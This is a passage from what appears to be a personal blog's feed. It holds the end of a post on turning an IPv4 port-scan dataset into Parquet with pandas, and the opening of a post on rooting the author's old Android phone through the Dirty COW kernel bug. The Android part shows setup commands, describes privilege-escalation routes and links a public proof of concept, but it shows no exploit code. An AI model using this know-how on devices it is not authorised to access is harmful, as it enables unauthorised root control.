&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# all the port numbers that are in the dataset&lt;/span&gt;
&lt;span class="n"&gt;port_cat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;CategoricalDtype&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;21&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;22&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;23&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;80&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;443&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;3389&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;4444&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;5601&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;8000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;8443&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;9200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="serialization-in-apaches-parquet-format"&gt;Serialization in Apache’s Parquet format&lt;/h2&gt;
&lt;p&gt;To keep the dataset as small as possible we can use smaller types for each column:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can be represented by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint32&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ttl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; fits perfectly in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, we store each dataframe in disk using Apache’s &lt;a href="https://parquet.apache.org/"&gt;Parquet format&lt;/a&gt;. We use version 2 that supports a much richer set of data types including &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uint32&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_df&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uint32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uint32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;port_cat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;reason_cat&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;

    &lt;span class="c1"&gt;# clean up&lt;/span&gt;
    &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Save. &amp;#39;brotli&amp;#39; yielded better compression ratio&lt;/span&gt;
    &lt;span class="c1"&gt;# when compared with snappy y gzip.&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;scan&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;04&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;.pq&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;compression&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;brotli&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;rows&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ports&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
        &lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;num&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;bucket_size&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;save_df&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;fileno&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The dataframes are in &lt;em&gt;tidy format&lt;/em&gt;: each row represents a single observation, or in this case, a single port scan.&lt;/p&gt;
&lt;p&gt;We repeat over and over data that it is shared between port scans like the IP address or the timestamp (it is the opposite format of the &lt;em&gt;normalized format&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;It occupies more space, yes, but the manipulation of the dataset is &lt;em&gt;much simpler&lt;/em&gt; and Pandas and Seaborn &lt;em&gt;are&lt;/em&gt; tidy-centric.&lt;/p&gt;
&lt;h2 id="host-aggregation"&gt;Host aggregation&lt;/h2&gt;
&lt;p&gt;We know that all the ports for the same host are in the same &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; object so we can do some analysis here instead on the whole dataset.&lt;/p&gt;
&lt;p&gt;We could count how many ports each host has, how many &lt;em&gt;different&lt;/em&gt; reasons were found on each host and the minimum and maximum TTL seen.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;agg&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;min&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;max&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nunique&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After a group by/aggregation, the columns will be &lt;em&gt;multi-index&lt;/em&gt; (to access the minimum of the TTL we will write &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;min&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We don’t want that so we can remap the columns and reset the index.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;_&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reset_index&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;astype&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;port_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uint8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;&amp;#39;reason_count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uint8&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we can extend &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;save_df&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;save_df&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DataFrame&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;columns&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;scan/scan&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;04&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;.pq&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;df&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;agg&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;port&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;count&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;ttl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;min&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;max&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;reason&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;nunique&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="n"&gt;df&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_parquet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;agg/agg&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;fileno&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;04&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;.pq&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-bits"&gt;Final bits&lt;/h2&gt;
&lt;p&gt;Putting all this together in &lt;a href="/assets/network/internet_scan/repack.py"&gt;repack.py&lt;/a&gt; and presto!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;unzip&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;archive.zip&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;repack.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/09/10/IPv4-Scan-Dataset-Preprocessing.html" rel="alternate" type="text/html" title="IPv4 Scan 2021 - Dataset Preprocessing"/>
    <category term="pandas" label="pandas"/>
    <category term="reset_index" label="reset_index"/>
    <category term="json" label="json"/>
    <category term="categorical" label="categorical"/>
    <category term="parquet" label="parquet"/>
    <published>2021-09-10T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/08/22/Rooting-Android-with-a-Dirty-COW.html</id>
    <title>Rooting Android with a Dirty COW</title>
    <updated>2021-08-22T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;I’ve recently got a quite old Android phone to play with. I guess the first thing to do is getting root, don’t you think?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="android-sdk"&gt;Android SDK&lt;/h2&gt;
&lt;p&gt;While it is perfectly possible to download the SDK from &lt;a href="https://developer.android.com/ndk/guides"&gt;Android&lt;/a&gt; and install it by hand, I liked the idea to use a package from Debian repository.&lt;/p&gt;
&lt;p&gt;To interact with the device we will use &lt;a href="https://developer.android.com/studio/command-line/adb"&gt;Android Debug Bridge&lt;/a&gt; or &lt;code&gt;adb&lt;/code&gt; for short.&lt;/p&gt;
&lt;p&gt;Besides &lt;code&gt;adb&lt;/code&gt; we need to setup a few &lt;code&gt;udev&lt;/code&gt; rules so we can run it without root permissions.&lt;/p&gt;
&lt;p&gt;The package &lt;code&gt;android-sdk-platform-tools-common&lt;/code&gt; already does that, we only need to add our user to the &lt;code&gt;plugdev&lt;/code&gt; group.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;usermod&lt;span class="w"&gt; &lt;/span&gt;-aG&lt;span class="w"&gt; &lt;/span&gt;plugdev&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;-un&lt;span class="k"&gt;)&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;android-sdk-platform-tools-common
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The compiler and the building tools, however, it wasn’t so easy.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://packages.debian.org/source/bullseye/google-android-ndk-installer"&gt;google-android-ndk-installer&lt;/a&gt; is available for Bullseye but not for Buster :|&lt;/p&gt;
&lt;p&gt;I decided to repackage it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I downloaded the source package&lt;/li&gt;
&lt;li&gt;I edited &lt;code&gt;debian/control&lt;/code&gt; to declare as dependency &lt;code&gt;debhelper-compat&lt;/code&gt; version 12 instead of 13 (which it is for Bullseye)&lt;/li&gt;
&lt;li&gt;and finally, I built the &lt;code&gt;.deb&lt;/code&gt; package with &lt;code&gt;dpkg-buildpackage -rfakeroot -b -uc -us&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;dpkg -i *.deb&lt;/code&gt; and we are done.&lt;/p&gt;
&lt;h2 id="gathering-info"&gt;Gathering info&lt;/h2&gt;
&lt;p&gt;To compile our priv-esc exploit we need to know the architecture and SDK version of the phone.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.product.cpu.abi
armeabi-nn

$&lt;span class="w"&gt; &lt;/span&gt;adb&lt;span class="w"&gt; &lt;/span&gt;shell&lt;span class="w"&gt; &lt;/span&gt;getprop&lt;span class="w"&gt; &lt;/span&gt;ro.build.version.sdk
nn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I left the connection details for the &lt;a href="https://developer.android.com/studio/run/device"&gt;official documentation&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="dirty-cow"&gt;Dirty COW&lt;/h2&gt;
&lt;p&gt;One of the most reliable modern exploits, the &lt;a href="https://security-tracker.debian.org/tracker/CVE-2016-5195"&gt;CVE-2016-5195&lt;/a&gt; know as &lt;a href="https://www.youtube.com/watch?v=kEsshExn7aE"&gt;Dirty COW&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In short, it exploits a race condition in the Copy-on-Write (COW) feature in Linux kernel to write in memory pages that are supposed to be read-only.&lt;/p&gt;
&lt;p&gt;This opens a whole set of opportunities to priv-esc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we could write a &lt;code&gt;setuid&lt;/code&gt; program with our payload, execute it and gain root permissions.&lt;/li&gt;
&lt;li&gt;or we could patch &lt;code&gt;/etc/passwd&lt;/code&gt; or other sensible file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The beauty is that the exploit is quite easy to understand and read, something that it is crucial: you must &lt;strong&gt;never&lt;/strong&gt; root your phone blindly trusting in an unknown apk or exploit. &lt;strong&gt;Never&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This &lt;a href="https://github.com/timwr/CVE-2016-5195/tree/f5671399e040a168307058c598d62de64bb441d8"&gt;Github repository&lt;/a&gt; is a PoC for exploiting Dirty COW on Androids. After a few hours of reviewing I was confident that it would be safe to use it.&lt;/p&gt;
&lt;p&gt;The repository has:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dirtycow.c&lt;/code&gt; that implements the exploit&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dcow.c&lt;/code&gt;, a tiny program interface&lt;/li&gt;
